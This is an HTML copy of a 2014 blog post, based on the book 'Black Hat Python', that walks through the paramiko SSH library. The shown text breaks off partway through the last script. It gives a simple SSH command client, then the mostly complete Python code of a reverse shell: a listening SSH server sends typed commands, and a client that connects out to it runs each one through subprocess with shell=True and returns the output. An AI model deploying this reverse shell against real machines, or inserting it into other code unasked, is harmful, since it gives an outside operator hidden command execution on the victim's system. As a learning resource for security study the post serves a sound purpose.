-
Notifications
You must be signed in to change notification settings - Fork 1
/
black-hat-python-the-paramiko-module.html
497 lines (430 loc) · 45.3 KB
/
black-hat-python-the-paramiko-module.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Black Hat Python: The Paramiko Module</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="Marina von Steinkirch">
<!-- Le styles -->
<link rel="stylesheet" href="./theme/css/bootstrap.dark.css" type="text/css" />
<style type="text/css">
body {
padding-top: 60px;
padding-bottom: 40px;
}
.tag-1 {
font-size: 13pt;
}
.tag-2 {
font-size: 11pt;
}
.tag-2 {
font-size: 10pt;
}
.tag-4 {
font-size: 8pt;
}
</style>
<link href="./theme/css/bootstrap-responsive.dark.css" rel="stylesheet">
<link href="./theme/css/font-awesome.css" rel="stylesheet">
<link href="./theme/css/pygments.css" rel="stylesheet">
<!-- Le fav and touch icons -->
<link rel="shortcut icon" href="./theme/images/favicon.ico">
<link rel="apple-touch-icon" href="./theme/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="72x72" href="./theme/images/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="114x114" href="./theme/images/apple-touch-icon-114x114.png">
<link href="./feeds/all.atom.xml" type="application/atom+xml" rel="alternate" title="chmod +x singularity.sh ATOM Feed" />
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container-fluid">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<a class="brand" href="./index.html">chmod +x singularity.sh </a>
<div class="nav-collapse">
<ul class="nav">
<li class="divider-vertical"></li>
<ul class="nav pull-right">
<li><a href="./authors.html">About</a></li>
<li><a href="./archives.html"><b>Archives</b></a></li>
<li>
<a href="https://github.com/bt3gl">github
<!--<i class="icon-github-sign icon-large" ></i>-->
</a></li>
<li>
<a href="https://twitter.com/1bt337">
<!--<i class="icon-twitter-sign icon-large"></i> -->
twitter
</a></li>
<li><a href="http://bt3gl.github.io/projects_page/index.html">Bygone Playful Times
</a></li>
</ul>
</ul>
<!--<p class="navbar-text pull-right">Logged in as <a href="#">username</a></p>-->
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container-fluid">
<div class="row">
<div class="span9" id="content">
<section id="content">
<article>
<header>
<h1>
<a href=""
rel="bookmark"
title="Permalink to Black Hat Python: The Paramiko Module">
Black Hat Python: The Paramiko Module
</a>
</h1>
</header>
<div class="entry-content">
<div class="well">
<footer class="post-info">
<abbr class="published" title="2014-12-13T00:00:00">
Sat 13 December 2014 </abbr>
<span class="label"> Category</span>
<a href="./category/networking.html"><i class="icon-folder-open"></i>Networking</a>
<span class="label">Tags</span>
<a href="./tag/python.html"><i class="icon-tag"></i>Python</a>
<a href="./tag/paramiko.html"><i class="icon-tag"></i>paramiko</a>
<a href="./tag/ssh.html"><i class="icon-tag"></i>SSH</a>
<a href="./tag/pycrypto.html"><i class="icon-tag"></i>PyCrypto</a>
<a href="./tag/getopt.html"><i class="icon-tag"></i>getopt</a>
<a href="./tag/threading.html"><i class="icon-tag"></i>threading</a>
<a href="./tag/socket.html"><i class="icon-tag"></i>socket</a>
<a href="./tag/book.html"><i class="icon-tag"></i>Book</a>
</footer><!-- /.post-info --> </div>
<p>This is the second post based on my readings from <a href="http://www.nostarch.com/blackhatpython">Black Hat Python</a>. Yesterday I talked about Python's <a href="http://bt3gl.github.io/black-hat-python-networking-the-socket-module.html">socket module</a> and today I'm talking about the <a href="http://www.paramiko.org/">paramiko</a> module.</p>
<p><strong>Paramiko</strong> is awesome!!! It uses my dear <a href="https://www.dlitz.net/software/pycrypto/">PyCrypto</a> to give us access to the <a href="http://en.wikipedia.org/wiki/SSH2">SSH2 protocol</a>, and it has a flexible and easy to use API.</p>
<p>You are going to see it with your own eyes: in this post we will see code for SSH clients and servers, reverse shells, and tunnel connections, and it will be smooth and fun (and remember that my source codes are available in my <a href="https://github.com/bt3gl/My-Gray-Hacker-Resources">github repo</a>)!</p>
<p>Shall we start?</p>
<hr />
<h2>A Simple SSH Client</h2>
<p>The first program we are going to write is a SSH client that makes a connection to some available SSH server, and then runs a single command that we send to it.</p>
<p>But before we start, make sure you have <strong>paramiko</strong> installed in our environment:</p>
<div class="highlight"><pre><span class="nv">$ </span>sudo pip install paramiko
</pre></div>
<h3>Writing the SSH Client Script</h3>
<p>Now we are ready to create our script. We start with a <strong>usage</strong> function. Since <strong>paramiko</strong> supports authentication with both a password and/or an identity file (a key), our usage function shows how to send these arguments when we run the script (plus the port, username, and the command we want to run):</p>
<div class="highlight"><pre><span class="k">def</span> <span class="nf">usage</span><span class="p">():</span>
<span class="k">print</span> <span class="s">"Usage: ssh_client.py <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD> -k <KEY> -c <COMMAND>"</span>
<span class="k">print</span> <span class="s">" -a password authentication"</span>
<span class="k">print</span> <span class="s">" -i identity file location"</span>
<span class="k">print</span> <span class="s">" -c command to be issued"</span>
<span class="k">print</span> <span class="s">" -p specify the port"</span>
<span class="k">print</span> <span class="s">" -u specify the username"</span>
<span class="k">print</span>
<span class="k">print</span> <span class="s">"Examples:"</span>
<span class="k">print</span> <span class="s">"ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires -c pwd"</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">()</span>
</pre></div>
<p>Moving to the <strong>main</strong> function, we are going to use <strong>getopt</strong> module to parse the arguments. That's basically what the main function does: parse the arguments, sending them to the <strong>ssh_client</strong> function:</p>
<div class="highlight"><pre><span class="kn">import</span> <span class="nn">paramiko</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">getopt</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:]):</span>
<span class="n">usage</span><span class="p">()</span>
<span class="n">IP</span> <span class="o">=</span> <span class="s">'0.0.0.0'</span>
<span class="n">USER</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">PASSWORD</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">KEY</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">COMMAND</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">opts</span> <span class="o">=</span> <span class="n">getopt</span><span class="o">.</span><span class="n">getopt</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">:],</span><span class="s">"p:u:a:i:c:"</span><span class="p">,</span> \
<span class="p">[</span><span class="s">"PORT"</span><span class="p">,</span> <span class="s">"USER"</span><span class="p">,</span> <span class="s">"PASSWORD"</span><span class="p">,</span> <span class="s">"KEY"</span><span class="p">,</span> <span class="s">"COMMAND"</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">except</span> <span class="n">getopt</span><span class="o">.</span><span class="n">GetoptError</span> <span class="k">as</span> <span class="n">err</span><span class="p">:</span>
<span class="k">print</span> <span class="nb">str</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
<span class="n">usage</span><span class="p">()</span>
<span class="n">IP</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">print</span> <span class="s">"[*] Initializing connection to "</span> <span class="o">+</span> <span class="n">IP</span>
<span class="c"># Handle the options and arguments</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">opts</span><span class="p">:</span>
<span class="k">if</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-a'</span><span class="p">):</span>
<span class="n">PASSWORD</span> <span class="o">=</span> <span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">elif</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-i'</span><span class="p">):</span>
<span class="n">KEY</span> <span class="o">=</span> <span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">elif</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-c'</span><span class="p">):</span>
<span class="n">COMMAND</span> <span class="o">=</span> <span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">elif</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-p'</span><span class="p">):</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="k">elif</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-u'</span><span class="p">):</span>
<span class="n">USER</span> <span class="o">=</span> <span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"This option does not exist!"</span>
<span class="n">usage</span><span class="p">()</span>
<span class="k">if</span> <span class="n">USER</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] User set to "</span> <span class="o">+</span> <span class="n">USER</span>
<span class="k">if</span> <span class="n">PORT</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] The port to be used is </span><span class="si">%d</span><span class="s">. "</span> <span class="o">%</span> <span class="n">PORT</span>
<span class="k">if</span> <span class="n">PASSWORD</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] A password with length </span><span class="si">%d</span><span class="s"> was submitted. "</span> <span class="o">%</span><span class="nb">len</span><span class="p">(</span><span class="n">PASSWORD</span><span class="p">)</span>
<span class="k">if</span> <span class="n">KEY</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] The key at </span><span class="si">%s</span><span class="s"> will be used."</span> <span class="o">%</span> <span class="n">KEY</span>
<span class="k">if</span> <span class="n">COMMAND</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] Executing the command '</span><span class="si">%s</span><span class="s">' in the host..."</span> <span class="o">%</span> <span class="n">COMMAND</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"You need to specify the command to the host."</span>
<span class="n">usage</span><span class="p">()</span>
<span class="c"># start the client</span>
<span class="n">ssh_client</span><span class="p">(</span><span class="n">IP</span><span class="p">,</span> <span class="n">PORT</span><span class="p">,</span> <span class="n">USER</span><span class="p">,</span> <span class="n">PASSWORD</span><span class="p">,</span> <span class="n">KEY</span><span class="p">,</span> <span class="n">COMMAND</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</pre></div>
<p>The magic happens in the <strong>ssh_client</strong> function, which performs the following steps:</p>
<ol>
<li>Creates a paramiko ssh client object.</li>
<li>Checks if the key variable is not empty, and in this case, loads it. If the key is not found, the program sets the policy to accept the SSH key for the SSH server (if we don't do this, an exception is raised saying that the server is not found in known_hosts).</li>
<li>Makes the connection and creates a session.</li>
<li>Checks whether this section is active and runs the command we sent.</li>
</ol>
<p>Let's see how this works in the code:</p>
<div class="highlight"><pre><span class="k">def</span> <span class="nf">ssh_client</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">passwd</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">command</span><span class="p">):</span>
<span class="n">client</span> <span class="o">=</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">SSHClient</span><span class="p">()</span>
<span class="k">if</span> <span class="n">key</span><span class="p">:</span>
<span class="n">client</span><span class="o">.</span><span class="n">load_host_keys</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">client</span><span class="o">.</span><span class="n">set_missing_host_key_policy</span><span class="p">(</span><span class="n">paramiko</span><span class="o">.</span><span class="n">AutoAddPolicy</span><span class="p">())</span>
<span class="n">client</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="n">port</span><span class="p">,</span> <span class="n">username</span><span class="o">=</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="n">passwd</span><span class="p">)</span>
<span class="n">ssh_session</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">get_transport</span><span class="p">()</span><span class="o">.</span><span class="n">open_session</span><span class="p">()</span>
<span class="k">if</span> <span class="n">ssh_session</span><span class="o">.</span><span class="n">active</span><span class="p">:</span>
<span class="n">ssh_session</span><span class="o">.</span><span class="n">exec_command</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
<span class="k">print</span>
<span class="k">print</span> <span class="n">ssh_session</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
</pre></div>
<p>Easy, huh?</p>
<h3>Running the Script</h3>
<p>We are ready to run our script. If we use the example in the usage function (and supposing the account exists in that host), we will see the following:</p>
<div class="highlight"><pre><span class="nv">$ </span>ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires -c <span class="nb">pwd</span>
<span class="o">[</span>*<span class="o">]</span> Initializing connection to 129.49.76.26
<span class="o">[</span>*<span class="o">]</span> User <span class="nb">set </span>to buffy
<span class="o">[</span>*<span class="o">]</span> The port to be used is 22.
<span class="o">[</span>*<span class="o">]</span> A password with length 12 was submitted.
<span class="o">[</span>*<span class="o">]</span> Executing the <span class="nb">command</span> <span class="s1">'pwd'</span> in the host...
/home/buffy.
</pre></div>
<hr />
<h2>A SSH Server to Reverse a Client Shell</h2>
<p>What if we also control the SSH server and we are able to send commands to our SSH client? This is exactly what we are going to do now: we are going to write a <strong>class</strong> for this server (with a little help of the <strong>socket</strong> module) and then we will be able to <strong>reverse the shell</strong>!</p>
<p>As a note, this script is based in some of the <a href="https://github.com/paramiko/paramiko/blob/master/demo">paramiko demos</a> and we specifically use the key from their demo files (<a href="https://github.com/paramiko/paramiko/blob/master/demos/test_rsa.key">download here</a>).</p>
<h3>The SSH Server</h3>
<p>In our server script, we first create a class <strong>Server</strong> that issues a new thread event, checking whether the session is valid, and performing authentication. Notice that for simplicity we are hard-coding the values for username, password and host key, which is never a good practice:</p>
<div class="highlight"><pre><span class="n">HOST_KEY</span> <span class="o">=</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">RSAKey</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="s">'test_rsa.key'</span><span class="p">)</span>
<span class="n">USERNAME</span> <span class="o">=</span> <span class="s">'buffy'</span>
<span class="n">PASSWORD</span> <span class="o">=</span> <span class="s">'killvampires'</span>
<span class="k">class</span> <span class="nc">Server</span><span class="p">(</span><span class="n">paramiko</span><span class="o">.</span><span class="n">ServerInterface</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">event</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Event</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">check_channel_request</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">kind</span><span class="p">,</span> <span class="n">chanid</span><span class="p">):</span>
<span class="k">if</span> <span class="n">kind</span> <span class="o">==</span> <span class="s">'session'</span><span class="p">:</span>
<span class="k">return</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">OPEN_SUCCEEDED</span>
<span class="k">return</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED</span>
<span class="k">def</span> <span class="nf">check_auth_password</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">username</span> <span class="o">==</span> <span class="n">USERNAME</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">password</span> <span class="o">==</span> <span class="n">PASSWORD</span><span class="p">):</span>
<span class="k">return</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">AUTH_SUCCESSFUL</span>
<span class="k">return</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">AUTH_FAILED</span>
</pre></div>
<p>Now, let's take a look at the <strong>main</strong> function, which does the following:</p>
<ol>
<li>Creates a socket object to bind the host and port, so it can listen for incoming connections.</li>
<li>Once a connection is established (the client tried to connect to the server and the socket accepted the connection), it creates a <strong>paramiko</strong> <a href="http://docs.paramiko.org/en/1.15/api/transport.html">Transport</a> object for this socket. In paramiko there are two main communication methods: <em>Transport</em>, which makes and maintains the encrypted connection, and <em>Channel</em>, which is like a socket for sending/receiving data over the encrypted session (the other three are Client, Message, and Packetizer).</li>
<li>The program instantiates a <strong>Server</strong> object and starts the paramiko session with it.</li>
<li>Authentication is attempted. If it is successful, we get a <strong>ClientConnected</strong> message.</li>
<li>The server starts a loop where it will keep getting input commands from the user and issuing it in the client. This is our reversed shell!</li>
</ol>
<div class="highlight"><pre><span class="kn">import</span> <span class="nn">paramiko</span>
<span class="kn">import</span> <span class="nn">getopt</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:]):</span>
<span class="k">print</span> <span class="s">"Usage: ssh_server.py <SERVER> <PORT>"</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="c"># creating a socket object</span>
<span class="n">server</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">ssh_port</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">sock</span><span class="o">.</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SO_REUSEADDR</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">sock</span><span class="o">.</span><span class="n">bind</span><span class="p">((</span><span class="n">server</span><span class="p">,</span> <span class="n">ssh_port</span><span class="p">))</span>
<span class="n">sock</span><span class="o">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"[+] Listening for connection ..."</span>
<span class="n">client</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">sock</span><span class="o">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[-] Connection Failed: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"[+] Connection Established!"</span>
<span class="c"># creating a paramiko object</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">Session</span> <span class="o">=</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">Transport</span><span class="p">(</span><span class="n">client</span><span class="p">)</span>
<span class="n">Session</span><span class="o">.</span><span class="n">add_server_key</span><span class="p">(</span><span class="n">HOST_KEY</span><span class="p">)</span>
<span class="n">paramiko</span><span class="o">.</span><span class="n">util</span><span class="o">.</span><span class="n">log_to_file</span><span class="p">(</span><span class="s">"filename.log"</span><span class="p">)</span>
<span class="n">server</span> <span class="o">=</span> <span class="n">Server</span><span class="p">()</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">Session</span><span class="o">.</span><span class="n">start_server</span><span class="p">(</span><span class="n">server</span><span class="o">=</span><span class="n">server</span><span class="p">)</span>
<span class="k">except</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">SSHException</span><span class="p">,</span> <span class="n">x</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'[-] SSH negotiation failed.'</span>
<span class="n">chan</span> <span class="o">=</span> <span class="n">Session</span><span class="o">.</span><span class="n">accept</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'[+] Authenticated!'</span>
<span class="n">chan</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">"Welcome to Buffy's SSH"</span><span class="p">)</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">command</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">"Enter command: "</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">command</span> <span class="o">!=</span> <span class="s">'exit'</span><span class="p">:</span>
<span class="n">chan</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
<span class="k">print</span> <span class="n">chan</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="o">+</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">chan</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">'exit'</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'[*] Exiting ...'</span>
<span class="n">session</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s">'exit'</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">KeyboardInterrupt</span><span class="p">:</span>
<span class="n">session</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[-] Caught exception: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">session</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">pass</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</pre></div>
<h3>The SSH Client</h3>
<p>The last piece for our reversed shell is to make the SSH client to be able to receive commands from the server.</p>
<p>We are going to adapt the previous client script to receive these commands. All we need to do is to add a loop inside the session:</p>
<div class="highlight"><pre><span class="kn">import</span> <span class="nn">paramiko</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">getopt</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="k">def</span> <span class="nf">usage</span><span class="p">():</span>
<span class="k">print</span> <span class="s">"Usage: ssh_client.py <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD>"</span>
<span class="k">print</span> <span class="s">" -a password authentication"</span>
<span class="k">print</span> <span class="s">" -p specify the port"</span>
<span class="k">print</span> <span class="s">" -u specify the username"</span>
<span class="k">print</span>
<span class="k">print</span> <span class="s">"Examples:"</span>
<span class="k">print</span> <span class="s">"ssh_client.py localhost -u buffy -p 22 -a killvampires"</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">ssh_client</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">passwd</span><span class="p">):</span>
<span class="n">client</span> <span class="o">=</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">SSHClient</span><span class="p">()</span>
<span class="n">client</span><span class="o">.</span><span class="n">set_missing_host_key_policy</span><span class="p">(</span><span class="n">paramiko</span><span class="o">.</span><span class="n">AutoAddPolicy</span><span class="p">())</span>
<span class="n">client</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="n">port</span><span class="p">,</span> <span class="n">username</span><span class="o">=</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="n">passwd</span><span class="p">)</span>
<span class="n">ssh_session</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">get_transport</span><span class="p">()</span><span class="o">.</span><span class="n">open_session</span><span class="p">()</span>
<span class="k">if</span> <span class="n">ssh_session</span><span class="o">.</span><span class="n">active</span><span class="p">:</span>
<span class="k">print</span> <span class="n">ssh_session</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">command</span> <span class="o">=</span> <span class="n">ssh_session</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">cmd_output</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">check_output</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">ssh_session</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">cmd_output</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">ssh_session</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">))</span>
<span class="n">client</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:]):</span>
<span class="n">usage</span><span class="p">()</span>
<span class="n">IP</span> <span class="o">=</span> <span class="s">'0.0.0.0'</span>
<span class="n">USER</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">PASSWORD</span> <span class="o">=</span> <span class="s">''</span>
